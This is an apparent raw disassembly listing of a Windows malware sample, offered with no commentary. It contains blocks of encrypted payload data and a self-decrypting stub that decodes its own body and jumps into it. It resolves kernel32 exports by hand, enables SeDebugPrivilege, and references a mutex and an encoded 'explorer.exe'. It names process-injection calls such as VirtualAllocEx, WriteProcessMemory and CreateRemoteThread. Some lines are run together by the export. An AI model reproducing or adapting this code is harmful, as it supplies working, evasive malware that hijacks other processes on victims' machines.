		dd 0F73FDD3Fh, 34380F0Eh, 5B8E554Eh, 7B0F75CFh,	0A38F9D4Fh
		dd 0DBCFD5CFh, 0FECFF8CFh, 3E3925C3h, 65A34C93h, 7EC374B3h
		dd 0ABE39DD3h, 0D5F3BEF3h, 923A0AF0h, 3B00FDE4h, 3E313DEDh
		dd 0E4623F18h, 0F43FE9C1h, 0FCA8789Ah, 1D1C30A9h, 5E9D2531h
		dd 3D8EDA1Dh, 0F79DDC32h, 0E533C807h, 6A360621h, 0DDD1C9C9h
		dd 723720D8h, 76657460h, 0F84787Fh, 392F38D6h, 1D3D9DBCh
		dd 0B5469941h, 0F958F152h, 0F96CF962h, 3C81F875h, 9A748D72h
		dd 0E278A876h, 0E43EDF1Ch, 0C3F0287h, 34471627h, 54874B67h
		dd 66C75AA7h, 71E76CE7h, 8AE77EE7h, 0D9E78FE7h,	0EEE7E2E7h
		dd 29B5F9E4h, 2822D428h, 5C7A3A78h, 987E617Ch, 5D316507h
		dd 9E279332h, 0A0B8AA45h, 0D0EEB3Dh, 684E5833h,	43D9968Eh
		dd 1C069850h, 7237740Fh, 76CA7479h, 38081CE9h, 3E2687AAh
		dd 46E527B8h, 60668C1Eh, 1C398830h, 9D75304Dh, 4E38127Fh
		dd 0F58E5CACh, 4F321EC3h, 22A0A693h, 94924833h,	34848463h
		dd 0A33C9323h, 0C26BB354h, 0CF744883h, 1CE47235h, 9D71365Ch
		dd 83F91DE5h, 39D43712h, 3A0321B7h, 0D115C90Eh,	0E147D91Ah
		dd 0F0E3E986h, 64723B38h, 0A8767F74h, 0EC7AD178h, 633C201Ch
		dd 6F1D6A9Dh, 0BD1E9C9Eh, 753D1A87h, 749A927h, 3A81F236h
		dd 9BC9653Eh, 19D8F0D1h, 744D723Fh, 52967691h, 7020CCDEh
		dd 3F016C20h, 74F23009h, 78BD7694h, 314C1CF1h, 127E9D73h
		dd 4A4E548Ah, 5D33500Eh, 0AA83624Eh, 0BE93B434h, 0D2B3C8A3h
		dd 0F4D3DCC3h, 1EF0FDE3h, 30E42435h, 59EC4DE8h,	7CF470F0h
		dd 0A8FC93F8h, 0F492BFFCh, 0F97EF47Eh, 1B360D1Ch, 5B1D2A9Dh
		dd 951E7B9Eh, 804FB592h, 379EC0D4h, 0E42E3824h,	0EC3DE833h
		dd 0F4EFF042h, 0FCFFF8FAh, 21393904h, 3C24263Ah, 0BD809E88h
		dd 9D463A9Ch, 9E5F1D4Fh, 9F731E6Eh, 9F871F82h, 9F9B9F96h
		dd 9FB09FAAh, 87C39FB9h, 27723B26h, 3CF44183h, 3D81CBFAh
		dd 0D10CC906h, 0E118D912h, 0F124E91Eh, 0F930F92Ah, 0F93CF936h
		dd 0F948F942h, 0F954F94Eh, 0F960F95Ah, 0F96CF966h, 0F978F972h
		dd 0F984F97Eh, 0F990F98Ah, 0F99CF996h, 0F9A8F9A2h, 0F9B4F9AEh
		dd 0F9C0F9BAh, 0F9CCF9C6h, 0F9D8F9D2h, 0F9E4F9DEh, 0F9F0F9EAh
		dd 0F8FCF9F6h, 8723E02h, 14760E74h, 207A1A78h, 2C7E9690h
		dd 387E327Eh, 0CF4402CFh, 0CF50CF4Ah, 0CF5CCF56h, 0EF68CF62h
		dd 0CF74CF6Eh, 0CF80CF7Ah, 0CF8CCF86h, 0CF98CF92h, 0CFA4CF9Eh
		dd 0CFB0CFAAh, 0CFBCCFB6h, 0CFC8CFC2h, 0CFD4CFCEh, 0CFE0CFDAh
		dd 0CFECCFE6h, 0CFF8CFF2h, 3F04C3FEh, 6910920Ah, 22E11C42h
		dd 2EF128E9h, 0FC3A4A34h, 0FC46FC40h, 8C3BFD4Ch, 9488B44Dh
		dd 74997231h, 26C676C1h, 16163579h, 0D6084ECEh,	0DE0FDACFh
		dd 0E68FE24Fh, 0EECFEACFh, 0F6CFF2CFh, 0FECFFACFh, 63802C3h
		dd 0EA30A93h, 16C312B3h, 1EE31AD3h, 3C6322F2h, 4C492AF2h
		dd 0FA36F932h, 243EED41h, 4AFC4650h, 52FC4EFCh,	5AFC56FCh
		dd 62FC5EFCh, 6AFC66FCh, 72FC6EFCh, 7AFC76FCh, 82FC7EFCh
		dd 8AFC86FCh, 92FC8EFCh, 9AFC96FCh, 0A2FC9EFCh,	809AA6FCh
		dd 0B27EAE7Eh, 0BA7EB67Eh, 0C27EBE7Eh, 0CA7EC67Eh, 0D27ECE7Eh
		dd 0DA7E1AB0h, 0E27EDE7Eh, 0EA7EE67Eh, 0F27EEE7Eh, 4CA8F649h
		dd 39020E82h, 68165206h, 0FB4BAAECh, 4A5FE74Fh,	529DCE0Ah
		dd 9A9E761Dh, 0A5CBE16h, 0E428A019h, 30063187h,	473C272Ah
		dd 856C675Ah, 9980D37Eh, 4469ACF2h, 0F9E4F9D1h,	3151F8F5h
		dd 9F547872h, 14F0EDE6h, 3A3B3239h, 7E893B62h, 0D7F4C1F0h
		dd 0F3FCECF8h, 333907FCh, 46E87F1Dh, 71F05CECh,	34390AF4h
		dd 3B7C3A61h, 3DB53C9Ah, 35210ECAh, 8E5A4E3Ch, 0F8ACF75h
		dd 87FC4FE1h, 4EFE361Ah, 0CFA18E4Ah, 4FDA0FBCh,	270F8BF5h
		dd 0A2478746h, 3492C064h, 682049E9h, 0A391E853h, 0C3BDB3AFh
		dd 0E2EDD3D8h, 412CEA57h, 0ACD99E50h, 0DCE9C7E1h, 723AE260h
		dd 4D6F7454h, 0B63D4E8Dh
		dd 1D0ED03Eh, 0BD4E3F3Bh, 0E6CFCB8Eh, 123C0403h, 42A32D93h
		dd 0B1C38FB3h, 44692ED2h, 831C6457h, 0B3F49EF0h, 223EE8A0h
		dd 84BD9FE4h, 0CC92C8E8h, 2630FE0Fh, 0E49314F6h, 10F5B020h
		dd 0E51F3011h, 0EC58EC60h, 0F481F066h, 27310E6Ah, 2443FF32h
		dd 6E934933h, 0E4C479A2h, 34CCD04Ah, 80305C77h,	3532E903h
		dd 0DB926C33h, 3D124050h, 2283CC34h, 3647F86Fh,	0E8C4E450h
		dd 0FEBEA9CDh, 72374EE8h, 49D1748Bh, 0BA50C00Dh, 9253EC48h
		dd 0B06549B4h, 9B248D3Fh, 40C59294h, 7B398272h,	9A9A8E3Dh
		dd 283E0D1Ch, 5E1D439Dh, 8D13789Eh, 0CAC36E4Fh,	0B0A692D6h
		dd 739D551Ch, 0A494971Dh, 44E02094h, 3039BA3Ch,	314512CDh
		dd 8E81640Eh, 0FA4CF93h, 83E64FD4h, 9355324Dh, 0B797A373h
		dd 407009EFh, 1C3607B0h, 84C637B1h, 0D079386Bh,	2390E0Ah
		dd 3E993C0Eh, 0F0125CF3h, 0C082CC65h, 34B0E002h, 4C72E498h
		dd 2D0D2836h, 609FE839h, 2FD44401h, 3A143996h, 3C313B29h
		dd 80562E3Bh, 8C9F869Fh, 0AE9FA19Fh, 0E49FCD9Fh, 0AB87F19Fh
		dd 3C21B336h, 3E349838h, 391CECE7h, 5A487039h, 0CC3B1E0Bh
		dd 0F63E6A83h, 48F2AC48h, 88108DDCh, 0F30702CDh, 64934F30h
		dd 90B379A3h, 9CD396C3h, 181CA2E3h, 75976C31h, 0F89504Fh
		dd 8F954F8Fh, 0CFB4CFA3h, 0CFC2CFBCh, 0C9D6CFC8h, 0F59A61E7h
		dd 0F2B81A0Ch, 2E129C94h, 0C4239EC4h, 0F361F35Bh, 0F380F36Fh
		dd 0F38EF388h, 0F3A2F394h, 69BBF2B3h, 0D5F9C738h, 0EEF9E6F9h
		dd 0FAF9F4F9h, 723308F8h, 76217419h, 0AA2D5427h, 0FC54F84Ch
		dd 9260FC5Ah, 7E7F7E8Eh, 548D7E87h, 0FCB2B493h,	0FCC0FCBAh
		dd 96D4FCC6h, 9FED1F08h, 87F99FF3h, 27183407h, 67264720h
		dd 0A43A872Ch, 260FAA4Bh, 0CF5FCF59h, 0CF7ECF6Dh, 0C98CCF86h
		dd 0B1DA6192h, 0BFF9B9F9h, 0D3F9C5F9h, 0F1F9E9F9h, 0E474F7F9h
		dd 8C354C0Bh, 2F3B293Ah, 0D3430265h, 67F361E8h,	7BF36DF3h
		dd 99FB91F3h, 0A5F39FF3h, 0C9F3B3F3h, 0D7F3D1F3h, 0EBF3DDF3h
		dd 93601F0h, 15E89C98h,	60F123ECh, 20F9412Fh, 944DF2h
		dd 0FC7BD827h, 0FC85FC7Fh, 90A9FC93h, 0FCB7FC88h, 0FCCBFCBDh
		dd 0FCE9FCE1h, 1C0A9AEFh, 9D193703h, 9E271D21h,	9F3B1E2Dh
		dd 92591F51h, 73A0C35Fh, 91F389F3h, 9DF397F3h, 0C1F2ABF3h
		dd 0CF7E1C70h, 0E37ED57Eh, 11CF97Eh, 32A60738h,	319E1B1Dh
		dd 3F9F391Eh, 364F4513h, 0CF71CF69h, 0CF7DCF77h, 0C9A1CF8Bh
		dd 0B5FEA7A9h, 0D9E7C3E7h, 9694E1E4h, 0F5FB04C3h, 1FC959E1h
		dd 33D925D1h, 51E949E1h, 5D14C1F2h, 81F96BF9h, 8FF989F9h
		dd 0A3F995F9h, 0C1F9B9F9h, 0FCCD1E64h, 96F1FCDBh, 87FF1F3Eh
		dd 27133A05h, 67314729h, 0A73D8737h, 0E561C74Bh, 75349369h
		dd 99F383F3h, 0A7F3A1F3h, 0BBF3ADF3h, 0D9F3D1F3h, 0E5F3DFF3h
		dd 9F0F3F3h, 17E4113Bh,	2B4A60E9h, 49F441F0h, 55FC4FF8h
		dd 79FC63FCh, 87FC81FCh, 9BFC8DFCh, 0BAFCB1FCh,	109AC3FCh
		dd 0DB7ED57Eh, 0E97EE27Eh, 20E0F07Eh, 1C6C4482h, 9D0A3004h
		dd 9E161D10h, 9F221E1Ch, 90412528h, 0E8309140h,	7131610Eh
		dd 12A79149h, 0A79D8799h, 0E7A5C7A1h, 0E7ADE7A9h, 0E7B5E7B1h
		dd 0A0BDE4B9h, 0C9FCC51Ch, 0D1FCCDFCh, 0D9FCD5FCh, 0E1FCDDFCh
		dd 5CB0E5FCh, 0F14D48B2h, 3FF93F30h, 32010EFDh,	360E5305h
		dd 0F11CF0Dh, 8F194F15h, 0CF21CF1Dh, 0CF29CF25h, 0F31CB2Dh
		dd 0CF39CF80h, 0CF41CF3Dh, 0A449C945h, 4ED3514Ch, 695DF259h
		dd 69F96550h, 71F96DF9h, 793FF83Ch, 813F7D3Fh, 9F8E852Eh
		dd 9F919F8Dh, 9F999F95h, 9FA19F9Dh, 9FA99FA5h, 9FB19FADh
		dd 93B99FB5h, 0C56E4FBDh, 0CDCFC9CFh, 74A7D1C9h, 0E1DDE7D9h
		dd 3C483744h, 3C503BBCh, 398A4854h, 3B233A1Fh, 252B3C27h
		dd 0FFD48F2Fh, 0CB1C4EA4h, 0D31DCF9Dh, 544FD792h, 0CFE38FDFh
		dd 0CFEBCFE7h, 0D2F3CFEFh, 0E808EC94h, 1C3EA484h, 1D4B9D47h
		dd 16539E4Fh, 5F288357h, 4A6963F2h, 0F37F136Bh,	0F387F383h
		dd 708FF28Bh, 4D977E40h, 0A33F569Bh, 0AB3FA73Fh, 9F5CAF26h
		dd 83BB93B7h, 0D3F2CF50h, 0F9DB6269h, 89E3F9DFh, 254F3884h
		dd 28A057FCh, 0F863F45Fh, 0D860FD67h, 9A73FC6Fh, 7E7B7E08h
		dd 4D837E7Fh, 8F3F0E87h, 972E933Fh, 839F964Ch, 0ABF2A744h
		dd 0FB171A6Bh, 2C300190h, 0E4E83DE0h, 0BAF4E8ECh, 4B9072E4h
		dd 0B0C60F94h, 86E1B409h, 2CD0F9BCh, 25D83FBEh,	0DBC081DCh
		dd 0E3C9DF3Fh, 0EBD9E7D1h, 0F3E9EFE1h, 0D062F7F1h, 2E7A022h
		dd 26B8491Eh, 0BA50E428h, 26049436h, 9F421FDEh,	9F4E9F46h
		dd 82569252h, 12505EF4h, 6E7E6A7Eh, 764A727Eh, 0CF82FE0Fh
		dd 0CB8ACF86h, 9AF8278Eh, 0FA939EE5h, 0F3AEF3A6h, 0F5B6F3B2h
		dd 0F3BEAAC3h, 0F3CAF3C6h, 0F3D2F3CEh, 0D8DEF2D6h, 7EE67E9Ch
		dd 7EEE7EEAh, 5CFA7EF6h, 311C8AFEh, 1D0E9D06h, 1E169E12h
		dd 1F1E9F1Ah, 0A52A9F26h, 36F3A9C3h, 42F23EF3h,	0D09F0E67h
		dd 0DC9FD89Fh, 0E89FE49Fh, 0CEC3F096h, 8E0BF7FCh, 8E0C4E04h
		dd 0F18CF14h, 8F244F20h, 0A738CB2Ch, 0C0E7403Ch, 0D8B1C4E5h
		dd 0E50433C0h, 0EC0C2270h, 0F424F020h, 0FC2CF828h, 0FC34FC30h
		dd 4B26BA50h, 0B6E1658h, 9C416428h, 0F970F96Ch,	0F994F990h
		dd 0F99CF998h, 0C42A74A0h, 0CCFCC8FCh, 0F4FCF0FCh, 0FCFCF8FCh
		dd 23460CCh, 1E78B438h,	0AC441E40h, 9D831CC4h, 0AF8B1D87h
		dd 0C0D6FF17h
		db 0
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_402150+Bo
off_41F1DE	dd offset dword_403000	; DATA XREF: .text:loc_401F77o
					; .text:00401F8Br ...
		align 4
		db 2 dup(0)
dword_41F1E6	dd 330000h						; .text:00401F96r ...
word_41F1EA	dw 7865h		; DATA XREF: .text:00401FC6o
		dd 726F6C70h, 652E7265h
		db 78h,	65h, 0
byte_41F1F7	db 47h			; DATA XREF: sub_402062+45o
		dd 61626F6Ch, 43315C6Ch, 5055504Bh
		db 50h,	0
aGlobal2gjkgsjq	db 'Global\2gjkgsjqgq',0 ; DATA XREF: sub_402510+5Eo
dword_41F218	dd 0							; .text:00401FFDr ...
dword_41F21C	dd 0							; .text:00401FF7r ...
dword_41F220	dd 0							; .text:00401FDAr ...
dword_41F224	dd 0							; .text:00401FA1r ...
dword_41F228	dd 94h							; .text:00401F3Eo
		dd 5, 1, 0A28h
dword_41F238	dd 2				dd 76726553h, 20656369h, 6B636150h, 3220h, 1Ch dup(0)
dword_41F2BC	dd 18h,	41F2CCh, 3, 41F2D9h, 6E72656Bh,	32336C65h, 6C6C642Eh
					; DATA XREF: .text:00401F19o
		dd 76646100h, 33697061h, 6C642E32h
		db 6Ch,	0
off_41F2E6	dd offset aCreatetoolhelp ; DATA XREF: .text:00401F14o
					; sub_4024A0+10o
					; "CreateToolhelp32Snapshot"
		dd offset aProcess32first ; "Process32First"
		dd offset aProcess32next ; "Process32Next"
		dd offset aVirtualalloc_0 ; "VirtualAlloc"
		dd offset aOpenprocess	; "OpenProcess"
		dd offset aVirtualallocex ; "VirtualAllocEx"
		dd offset aCreateremoteth ; "CreateRemoteThread"
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F3h
		dd 0F3D60041h, 0F3E30041h, 0F3EF0041h, 0F3FB0041h, 0F4070041h
		dd 0F4190041h, 0F4290041h, 0F4370041h, 0F4410041h, 0F4540041h
		dd 0F4620041h, 0F4720041h, 0F4850041h, 0F4910041h, 0F49D0041h
		dd 0F4A60041h, 0F4B70041h, 0F4CD0041h, 0F4DE0041h
		db 41h,	0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: .data:off_41F2E6o
aProcess32first	db 'Process32First',0   ; DATA XREF: .data:0041F2EAo
aProcess32next	db 'Process32Next',0    ; DATA XREF: .data:0041F2EEo
aVirtualalloc_0	db 'VirtualAlloc',0     ; DATA XREF: .data:0041F2F2o
aOpenprocess	db 'OpenProcess',0      ; DATA XREF: .data:0041F2F6o
aVirtualallocex	db 'VirtualAllocEx',0   ; DATA XREF: .data:0041F2FAo
aCreateremoteth	db 'CreateRemoteThread',0 ; DATA XREF: .data:0041F2FEo
aWriteprocessme	db 'WriteProcessMemory',0
aResumethread	db 'ResumeThread',0
aClosehandle	db 'CloseHandle',0
aVirtualfree_0	db 'VirtualFree',0
aExitprocess_0	db 'ExitProcess',0
aGetcurrentpr_1	db 'GetCurrentProcess',0
aGetcommandli_0	db 'GetCommandLineA',0
aGetversionex_0	db 'GetVersionExA',0
aLstrcmpia	db 'lstrcmpiA',0
aCreatefilema_0	db 'CreateFileMappingA',0
aMapviewoffil_0	db 'MapViewOfFile',0
aUnmapviewoffil	db 'UnmapViewOfFile',0
aGetmodulefilen	db 'GetModuleFileNameA',0
aCreatefilea	db 'CreateFileA',0
aGetfilesize	db 'GetFileSize',0
aReadfile	db 'ReadFile',0
aGetmodulehan_0	db 'GetModuleHandleA',0
aLookupprivileg	db 'LookupPrivilegeValueA',0
aOpenprocesstok	db 'OpenProcessToken',0
aAdjusttokenpri	db 'AdjustTokenPrivileges',0
dword_41F4F4	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_4022E0+26r ...
dword_41F4F8	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_4022E0+53r ...
dword_41F4FC	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_4024A0+16o
dword_41F500	dd 7C863DE5h	; resolved to->KERNEL32.Process32Firstdword_41F504	dd 7C863F58h	; resolved to->KERNEL32.Process32Nextdword_41F508	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_41F50C	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcessdword_41F510	dd 7C809A72h	; resolved to->KERNEL32.VirtualAllocExdword_41F514	dd 7C81042Ch	; resolved to->KERNEL32.CreateRemoteThreaddword_41F518	dd 7C80220Fh	; resolved to->KERNEL32.WriteProcessMemorydword_41F51C	dd 7C8328F7h	; resolved to->KERNEL32.ResumeThreaddword_41F520	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_402390+63r ...
dword_41F524	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_41F528	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_41F52C	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_41F530	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_41F534	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExAdword_41F538	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiAdword_41F53C	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingA					; sub_402510+6Er
dword_41F540	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFile					; sub_402510+82r
dword_41F544	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFile					; sub_402510+124r
dword_41F548	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_41F54C	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_41F550	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_41F554	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_41F558	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_41F55C	dd 77DFD11Bh	; resolved to->ADVAPI32.LookupPrivilegeValueAdword_41F560	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessTokendword_41F564	dd 77DFC534h	; resolved to->ADVAPI32.AdjustTokenPrivileges		dd offset dword_402710+8
		dd offset dword_402710+2
		dd 24h dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near
		push	ebp
		mov	ebp, esp
		call	sub_41F616
		call	sub_41F658
		mov	ebp, fs:0
		lea	ebp, [ebp+8]
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F616	proc near		; CODE XREF: start+3p
		sub	ebx, ebx
		sub	ecx, ecx
		mov	cl, 95h


loc_41F61C:				; CODE XREF: sub_41F616+7j
		inc	ebx
		loop	loc_41F61C
		call	$+5
		pop	edx
		add	edx, 41h
		push	edx
		sub	edi, edi
		or	edi, 243Ch


loc_41F634:				; CODE XREF: sub_41F616+30j
		xchg	al, [edx]
		sub	ax, bx
		xchg	al, [edx]
		add	edx, 1
		add	bx, 8Ch
		dec	edi
		or	edi, edi
		jnz	short loc_41F634
		pop	edx
		mov	esp, fs:0
		pop	dword ptr fs:0
		leave
		jmp	edx
sub_41F616	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F658	proc near		; CODE XREF: start+8p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_41F658	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		call	$+5
		mov	eax, [esp]
		test	dword ptr [eax+242Bh], 80000000h
		mov	[eax+29ACh], ebx
		mov	ebx, [esp+4]
		jz	short loc_41F6B1
		cld
		pop	ecx
		mov	[eax+29B0h], esi
		mov	[eax+29B4h], edi
		cmp	byte ptr [eax+242Fh], 0E8h
		jnz	short loc_41F6A8
		add	ebx, [eax+2430h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_41F6B0
; ---------------------------------------------------------------------------


loc_41F6A8:				; CODE XREF: .data:0041F699j
		mov	ebx, [eax+2431h]
		push	dword ptr [ebx]


loc_41F6B0:				; CODE XREF: .data:0041F6A6j
		pop	ebx


loc_41F6B1:				; CODE XREF: .data:0041F682j
		push	ebp
		xchg	eax, ebp
		sub	dword ptr [esp+4], 1E36Ch
		and	ebx, 0FFFFF000h
		sub	ebp, 401006h
		mov	edi, [esp+4]
		lea	esi, [ebp+40343Ch]
		mov	ecx, 0
		rep movsb


loc_41F6D8:				; CODE XREF: .data:0041F6F4j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jnz	short loc_41F6EE
		mov	eax, [ebx+3Ch]
		lea	eax, [eax+ebx]
		cmp	word ptr [eax],	4550h
		jz	short loc_41F6F6


loc_41F6EE:				; CODE XREF: .data:0041F6DFj
		sub	ebx, 100h
		jnz	short loc_41F6D8


loc_41F6F6:				; CODE XREF: .data:0041F6ECj
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_41F704:				; CODE XREF: .data:loc_41F72Bj
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_41F72B
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_41F72B
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_41F72B
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_41F730


loc_41F72B:				; CODE XREF: .data:0041F70Ej
					; .data:0041F717j ...
		loop	loc_41F704
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F730:				; CODE XREF: .data:0041F729j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_41F756+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_41F7B4+2
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_41F756:				; CODE XREF: .data:0041F747p
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+40353Ch], eax
		call	near ptr loc_41F772+1
		inc	ebx
		jb	short near ptr loc_41F7CD+1
		popa
		jz	short near ptr loc_41F7CD+4
		inc	ebp
		jbe	short near ptr loc_41F7D3+1
		outsb
		jz	short near ptr loc_41F7B1+2


loc_41F772:				; CODE XREF: .data:0041F761p
		add	[ebx-1], dl
		setalc
		mov	[ebp+403540h], eax
		call	sub_41F78E
		inc	edi
		db	65h
		jz	short near ptr loc_41F7CD+4
		popa
		jnb	short loc_41F7FC
		inc	ebp
		jb	short near ptr loc_41F7FC+1
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_41F78E	proc near		; CODE XREF: .data:0041F77Cp

; FUNCTION CHUNK AT 0041F837 SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 0041F977 SIZE 0000013A BYTES

		push	ebx
		call	esi
		mov	dword ptr ss:loc_403544[ebp], eax
		call	sub_41F80C
		test	eax, eax
		jz	short loc_41F7C1
		push	eax
		call	dword ptr ss:loc_403544[ebp]
		test	eax, eax
		jnz	short loc_41F7BB
		lea	eax, [ebp+4011D2h]


loc_41F7B1:				; CODE XREF: .data:0041F770j
		mov	dl, [eax-1]


loc_41F7B4:				; CODE XREF: .data:0041F74Fj
		call	sub_41F827
		jmp	short loc_41F837
; ---------------------------------------------------------------------------


loc_41F7BB:				; CODE XREF: sub_41F78E+1Bj
					; sub_41F78E+136j ...
		call	dword ptr [ebp+40353Ch]


loc_41F7C1:				; CODE XREF: sub_41F78E+10j
		test	dword ptr ss:loc_403431[ebp], 80000000h
		jz	short loc_41F7EB


loc_41F7CD:				; CODE XREF: .data:0041F767j
					; .data:0041F76Aj ...
		lea	esi, [ebp+403435h]


loc_41F7D3:				; CODE XREF: .data:0041F76Dj
		mov	edi, [esp+4]
		movsb
		movsd
		mov	ebx, [ebp+4039B2h]
		mov	esi, dword ptr ss:loc_4039B6[ebp]
		mov	edi, [ebp+4039BAh]


loc_41F7EB:				; CODE XREF: sub_41F78E+3Dj
		pop	ebp
		retn
sub_41F78E	endp

; ---------------------------------------------------------------------------


loc_41F7ED:				; CODE XREF: sub_41F80C+2p
					; sub_41F78E:loc_41F9F6p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_41F7FC:				; CODE XREF: .data:0041F786j
					; .data:0041F789j
		les	ebp, [edx+0]
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
; ---------------------------------------------------------------------------
aVt_3		db 'VT_3',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41F80C	proc near		; CODE XREF: sub_41F78E+9p
		xor	ecx, ecx
		call	loc_41F7ED
		lea	edx, [ebp+4011A1h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+403540h]
		add	esp, 20h
		retn
sub_41F80C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F827	proc near		; CODE XREF: sub_41F78E:loc_41F7B4p
					; sub_4215FB+25Bp
		mov	dh, dl
		mov	ecx, 225Fh


loc_41F82E:				; CODE XREF: sub_41F827+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_41F82E
		retn
sub_41F827	endp

; ---------------------------------------------------------------------------
		db 34h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F78E


loc_41F837:				; CODE XREF: sub_41F78E+2Bj
		and	dword ptr [ebp+401580h], 0
		and	dword ptr [ebp+401584h], 0
		and	dword ptr [ebp+401588h], 0
		mov	eax, dword ptr ss:loc_403431[ebp]
		xor	ecx, ecx
		push	1
		mov	cl, 20h
		pop	dword ptr [ebp+40397Eh]


loc_41F85E:				; CODE XREF: sub_41F78E+E0j
		xor	edx, edx
		shr	eax, 1
		setb	dl
		shl	dl, 3
		add	[ebp+40397Eh], edx
		loop	loc_41F85E
		push	edi
		mov	byte ptr [ebp+401303h],	1
		mov	[ebp+403548h], esi
		lea	esi, [ebp+4015BBh]
		xor	ecx, ecx
		lea	edi, [ebp+403558h]
		mov	cl, 1Eh
		call	sub_41FBF1
		pop	edi
		call	dword ptr ss:loc_403594[ebp]
		shr	eax, 1Fh
		jz	loc_41F977
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	dword ptr ss:loc_403550[ebp], eax
		push	69CEh
		push	0
		call	dword ptr [ebp+4035C8h]
		test	eax, eax
		jz	loc_41F7BB
		xchg	eax, edi
		lea	esi, dword_401000[ebp]
		mov	ebp, edi
		mov	ecx, 0A74h
		sub	ebp, offset dword_401000
		lea	edx, [ebp+401283h]
		rep movsd
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_41F78E
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+401A3Dh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr ss:loc_403550[ebp]
		add	esp, 20h
		test	eax, eax
		jz	loc_41F7BB
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr ss:loc_403550[ebp]
		test	eax, eax
		jz	loc_41F7BB
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr ss:loc_403550[ebp]
		push	1000Ah
		call	dword ptr ss:loc_403550[ebp]
		call	sub_41F967
		jmp	loc_41F7BB

; =============== S U B	R O U T	I N E =======================================



sub_41F967	proc near		; CODE XREF: .data:0041F95Dp
					; sub_41F967+Dj
		push	1
		pop	ecx
		jecxz	short locret_41F976
		push	0Ah
		call	dword ptr [ebp+4035BCh]
		jmp	short sub_41F967
; ---------------------------------------------------------------------------

locret_41F976:				; CODE XREF: sub_41F967+3j
		retn
sub_41F967	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F78E


loc_41F977:				; CODE XREF: sub_41F78E+10Fj
		cmp	dword ptr ss:loc_403570[ebp], 0
		jz	loc_41F7BB
		call	near ptr loc_41F98E+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_41F98E:				; CODE XREF: sub_41F78E+1F6p
		add	bh, bh
		xchg	eax, ebp
		mov	ds:0B58D0040h, dh
		jnb	short near ptr loc_41F9AB+5
		inc	eax
		add	[ebx], dh
		leave
		lea	edi, [ebp+4035D0h]
		mov	cl, 0Bh
		xchg	eax, ebx
		call	sub_41FBF1


